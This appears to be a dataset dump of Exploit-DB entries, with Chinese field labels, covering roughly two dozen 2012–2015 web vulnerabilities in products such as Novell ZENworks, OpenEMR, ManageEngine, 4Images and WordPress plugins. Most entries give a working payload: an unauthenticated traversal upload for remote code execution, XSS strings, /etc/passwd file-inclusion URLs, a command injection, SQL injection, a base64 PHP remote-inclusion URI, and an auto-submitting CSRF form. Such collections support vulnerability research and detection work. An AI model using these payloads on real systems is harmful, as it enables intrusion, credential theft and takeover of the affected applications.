QLWD/code_shield huggingface dataset:
标题: Novell ZENworks Configuration Management 11.3.1 - Remote Code Execution EDB-ID: 36678 CVE: 2015-0779 类型: WEBAPPS 平台: JSP 发布日期: 2015-04-08 漏洞利用脚本: >> Remote code execution in Novell ZENworks Configuration Management 11.3.1
>> Discovered by Pedro Ribeiro (pedrib@gmail.com), Agile Information Security
=================================================================================
Disclosure: 07/04/2015 / Last updated: 07/04/2015

>> Background on the affected product:
"Automate and accelerate your Windows 7 migration
Microsoft estimates that it can take more than 20 hours to migrate a
single machine to Windows 7. Novell ZENworks Configuration Management
is ready to dramatically accelerate and automate every aspect of your
Windows 7 migration efforts.

Boost user productivity
Use Novell ZENworks Configuration Management to make sure users always
have access to the resources they need regardless of where they work
or what devices they use.

Eliminate IT effort
Automatically enforce policies and dynamically manage resources with
identity-based management of users as well as devices.

Expand your freedom to choose
Manage the lifecycles of all your current and future assets, with full
support for Windows and Linux systems, Novell eDirectory, Active
Directory, and more.

Simplify deployment with virtual appliances
Slash deployment times with a convenient virtual appliance deployment option.

Enjoy a truly unified solution
Centralize the management of all your devices into a single, unified
and easy-to-use web-based ZENworks console—called ZENworks Control
Center."

This vulnerability is present in ZENworks Configuration Management
(ZCM) which is part of the ZENworks Suite.
A blast from the past? This is a similar vulnerability to ZDI-10-078 /
OSVDB-63412, but it abuses a different parameter of the same servlet.
However this time Novell:
- Did not bother issuing a security advisory to their customers.
- Did not credit me even though I did responsible disclosure.
- Refused to provide a CVE number for months.
- Did not update their ZENworks Suite Trial software with the fix (you
can download it now from their site, install and test the PoC /
Metasploit module).
- Does not list the fix in the ZCM 11.3.2 update information
(https://www.novell.com/support/kb/doc.php?id=7015776).


>> Technical details:
Vulnerability: Remote code execution via file upload and directory traversal
CVE-2015-0779
Constraints: none; no authentication or any other information needed
Affected versions: ZENworks Configuration Management 11.3.1 and below

POST /zenworks/UploadServlet?uid=../../../opt/novell/zenworks/share/tomcat/webapps/&filename=payload.war
<WAR file payload in the body>

The WAR file will be automatically deployed to the server (on certain
Windows and Linux installations the path can be "../webapps/"). A
Metasploit module that exploits this vulnerability has been released.


>> Fix:
Upgrade to version ZENworks Configuration Management 11.3.2.


[1]: https://github.com/pedrib/PoC/blob/master/generic/zenworks_zcm_rce.txt
[2]: https://github.com/rapid7/metasploit-framework/pull/5096 URL: https://www.exploit-db.com/exploits/36678
标题: ManageEngine ADManager Plus 5.2 Build 5210 - 'domainName' Cross-Site Scripting EDB-ID: 36667 CVE: 2012-1049 类型: WEBAPPS 平台: JAVA 发布日期: 2012-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/51893/info
 
ManageEngine ADManager Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
 
ManageEngine ADManager Plus 5.2 Build 5210 is vulnerable; prior versions may also be affected. 

#1 - GET http://www.example.com/jsp/AddDC.jsp?domainName="><script>alert(&#039;zsl&#039;)</script> HTTP/1.1 URL: https://www.exploit-db.com/exploits/36667
标题: Apache 2.2.15 mod_proxy - Reverse Proxy Security Bypass EDB-ID: 36663 CVE: 2011-3639 类型: REMOTE 平台: LINUX 发布日期: 2012-02-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/51869/info

Apache HTTP Server is prone to a security-bypass vulnerability.

Successful exploits will allow attackers to bypass certain security restrictions and obtain sensitive information about running web applications. 

RewriteRule ^(.*) http://www.example.com$1
ProxyPassMatch ^(.*) http://www.example.com$1 URL: https://www.exploit-db.com/exploits/36663
标题: Apache APR - Hash Collision Denial of Service EDB-ID: 36669 CVE: 2012-0840 类型: DOS 平台: LINUX 发布日期: 2012-01-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/51917/info

Apache APR is prone to a denial-of-service vulnerability.

An attacker can exploit this issue by sending specially crafted forms in HTTP POST requests.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36669.zip URL: https://www.exploit-db.com/exploits/36669
标题: ManageEngine ADManager Plus 5.2 Build 5210 - 'Operation' Cross-Site Scripting EDB-ID: 36666 CVE: 2012-1049 类型: WEBAPPS 平台: JAVA 发布日期: 2012-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/51893/info

ManageEngine ADManager Plus is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ManageEngine ADManager Plus 5.2 Build 5210 is vulnerable; prior versions may also be affected. 

#2 - POST http://www.example.com/DomainConfig.do?methodToCall=save HTTP/1.1 - DOMAIN_NAME=test&DOMAIN_CONTROLLER_NAME=testsrv&save=Add&operation="><script>alert(&#039;zsl&#039;)</script>&reset= URL: https://www.exploit-db.com/exploits/36666
标题: Simple Groupware 0.742 - 'export' Cross-Site Scripting EDB-ID: 36665 CVE: 2012-1028 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/51882/info

Simple Groupware is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Simple Groupware 0.742 is vulnerable; other versions may also be affected. 

http://www.example.com/SimpleGroupware_0.742/bin/index.php?export=<ScRiPt >alert(&#039;xss&#039;)</ScRiPt> URL: https://www.exploit-db.com/exploits/36665
标题: eFront 3.6.10 - 'administrator.php' Cross-Site Scripting EDB-ID: 36668 CVE: 2012-1048 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/51894/info

eFront is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

eFront 3.6.10 is vulnerable; other versions may also be affected. 

http://www.example.com/communityplusplus/www/administrator.php?ctg=languages&ajax=languagesTable&
limit=200&offset=0&sort=active&order=asc&other=&filter=%22%3E%3Ciframe%20src%3Da%20onload%3Dalert%28%22VulnerabilityLab%22%29%20%3C URL: https://www.exploit-db.com/exploits/36668
标题: Joomla! Component Currency Converter 1.0.0 - 'from' Cross-Site Scripting EDB-ID: 36659 CVE: 2012-1018 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/51804/info

The Currency Converter component for Joomla! is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/path/modules/mod_currencyconverter/includes/convert.php?from=[XSS] URL: https://www.exploit-db.com/exploits/36659
标题: iknSupport 'search' Module - Cross-Site Scripting EDB-ID: 36658 CVE: 2012-1069 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/51803/info

iknSupport is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/module/kb/search_word/" onmouseover=alert(1) bad=/"/Submit/Search/task/search URL: https://www.exploit-db.com/exploits/36658
标题: phpLDAPadmin 1.2.2 - 'base' Cross-Site Scripting EDB-ID: 36654 CVE: 2012-0834 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/51793/info

phpLDAPadmin is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

phpLDAPadmin 1.2.2 is affected; other versions may also be vulnerable. 

http://www.example.com/phpldapadmin/htdocs/cmd.php?cmd=query_engine&server_id=1&query=none&format=list&showresults=na&base=%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E&scope=sub&
filter=objectClass%3D* display_attrs=cn%2C+sn%2C+uid%2C+postalAddress%2C+telephoneNumber&orderby=&size_limit=50&search=Search URL: https://www.exploit-db.com/exploits/36654
标题: project-open 3.4.x - 'account-closed.tcl' Cross-Site Scripting EDB-ID: 36660 CVE: 2012-1027 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/51842/info

project-open is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/register/account-closed?message=[arbitrary-JavaScript] URL: https://www.exploit-db.com/exploits/36660
标题: OpenEMR 4.1 - '/Interface/patient_file/encounter/load_form.php?formname' Traversal Local File Inclusion EDB-ID: 36649 CVE: 2012-0991 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/51788/info
 
OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.
 
A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.
 
OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/interface/patient_file/encounter/load_form.php?formname=../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/36649
标题: OpenEMR 4.1 - '/Interface/patient_file/encounter/trend_form.php?formname' Traversal Local File Inclusion EDB-ID: 36648 CVE: 2012-0991 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/51788/info

OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.

A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.

OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/interface/patient_file/encounter/trend_form.php?formname=../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/36648
标题: OpenEMR 4.1 - '/contrib/acog/print_form.php?formname' Traversal Local File Inclusion EDB-ID: 36650 CVE: 2012-0991 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/51788/info
  
OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.
  
A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.
  
OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/contrib/acog/print_form.php?formname=../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/36650
标题: OpenEMR 4.1 - '/Interface/fax/fax_dispatch.php?File' 'exec()' Call Arbitrary Shell Command Execution EDB-ID: 36651 CVE: 2012-0992 类型: WEBAPPS 平台: PHP 发布日期: 2012-02-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/51788/info
   
OpenEMR is prone to local file-include and command-injection vulnerabilities because it fails to properly sanitize user-supplied input.
   
A remote attacker can exploit these issues to execute arbitrary shell commands with the privileges of the user running the application, obtain potentially sensitive information, and execute arbitrary local scripts in the context of the Web server process. This could allow the attacker to compromise the application and the computer; other attacks are also possible.
   
OpenEMR 4.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/interface/fax/fax_dispatch.php?file=1%22%20||%20ls%20%3E%20123 URL: https://www.exploit-db.com/exploits/36651
标题: 4Images 1.7.10 - '/admin/categories.php?cat_parent_id' SQL Injection EDB-ID: 36643 CVE: 2012-1022 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/51774/info

4images is prone to multiple input-validation vulnerabilities including:

1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.

An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.

4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1' (SQL Injection) URL: https://www.exploit-db.com/exploits/36643
标题: Wireshark - Buffer Underflow / Denial of Service EDB-ID: 36633 CVE: 2012-0067 类型: DOS 平台: LINUX 发布日期: 2012-01-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/51710/info

Wireshark is prone to a buffer-underflow vulnerability and multiple denial-of-service vulnerabilities.

Remote attackers can exploit these issues to execute arbitrary code in the context of the application or cause denial-of-service conditions.

Wireshark versions 1.4.0 through 1.4.10 and 1.6.0 through 1.6.4 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36633.zip URL: https://www.exploit-db.com/exploits/36633
标题: Lead Capture - 'login.php' Script Cross-Site Scripting EDB-ID: 36647 CVE: 2012-0932 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/51785/info

Lead Capture is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/admin/login.php?message=[XSS] URL: https://www.exploit-db.com/exploits/36647
标题: 4Images 1.7.10 - '/admin/categories.php?cat_parent_id' Cross-Site Scripting EDB-ID: 36644 CVE: 2012-1021 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/51774/info
 
4images is prone to multiple input-validation vulnerabilities including:
 
1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.
 
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
 
4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/categories.php?action=addcat&cat_parent_id=1 (XSS) URL: https://www.exploit-db.com/exploits/36644
标题: 4Images 1.7.10 - '/admin/index.php?redirect' Arbitrary Site Redirect EDB-ID: 36645 CVE: 2012-1023 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/51774/info
  
4images is prone to multiple input-validation vulnerabilities including:
  
1. A cross-site scripting vulnerability.
2. An open-redirection vulnerability.
3. An SQL-injection vulnerability.
  
An attacker may leverage these issues to perform spoofing and phishing attacks, to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database and execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site.
  
4images 1.7.10 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?__csrf=931086345abbb83f9a70c87dc4719248& action=login&redirect=http://google.com&loginusername=admin&loginpassword=pass URL: https://www.exploit-db.com/exploits/36645
标题: xClick Cart 1.0.x - 'shopping_url' Cross-Site Scripting EDB-ID: 36632 CVE: 2012-5225 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/51699/info

xClick Cart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

xClick Cart versions 1.0.1 and 1.0.2 are affected; other versions may also be vulnerable. 

http://www.example.com/pages/cart/webscr.php?cmd=_cart&ew=1&item_name=Scrimshaw+Kit&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E URL: https://www.exploit-db.com/exploits/36632
标题: WordPress Plugin Slideshow Gallery 1.1.x - 'border' Cross-Site Scripting EDB-ID: 36631 CVE: 2012-5229 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/51678/info

Slideshow Gallery for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/slideshow-gallery-2/css/gallery-css.php?1=1&resizeimages=Y&width=586&height=586&border='"--></style></script><script>Pwned by brethawk(0x000178)</script> URL: https://www.exploit-db.com/exploits/36631
标题: vBadvanced CMPS 3.2.2 - 'vba_cmps_include_bottom.php' Remote File Inclusion EDB-ID: 36628 CVE: 2012-5224 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/51672/info

vBadvanced CMPS is prone to a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to execute arbitrary local and remote scripts in the context of the affected application or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.

vBadvanced CMPS 3.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=data:;base64,PD9waHAgcGhwaW5mbygpO29iX2VuZF9mbHVzaCgpO2V4aXQ7Pz4=

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=ftp://user:pass@127.0.0.1/123.txt URL: https://www.exploit-db.com/exploits/36628
标题: DClassifieds 0.1 final - Cross-Site Request Forgery EDB-ID: 36627 CVE: 2012-0990 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/51671/info

DClassifieds is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

DClassifieds 0.1 final is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@mail.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">

<input type="hidden" name="Settings[setting_show_in_admin]" value="1">

<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script> URL: https://www.exploit-db.com/exploits/36627
标题: WordPress Plugin YouSayToo auto-publishing 1.0 - 'submit' Cross-Site Scripting EDB-ID: 36620 CVE: 2012-0901 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/51649/info

YouSayToo auto-publishing for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YouSayToo auto-publishing 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=[xss] URL: https://www.exploit-db.com/exploits/36620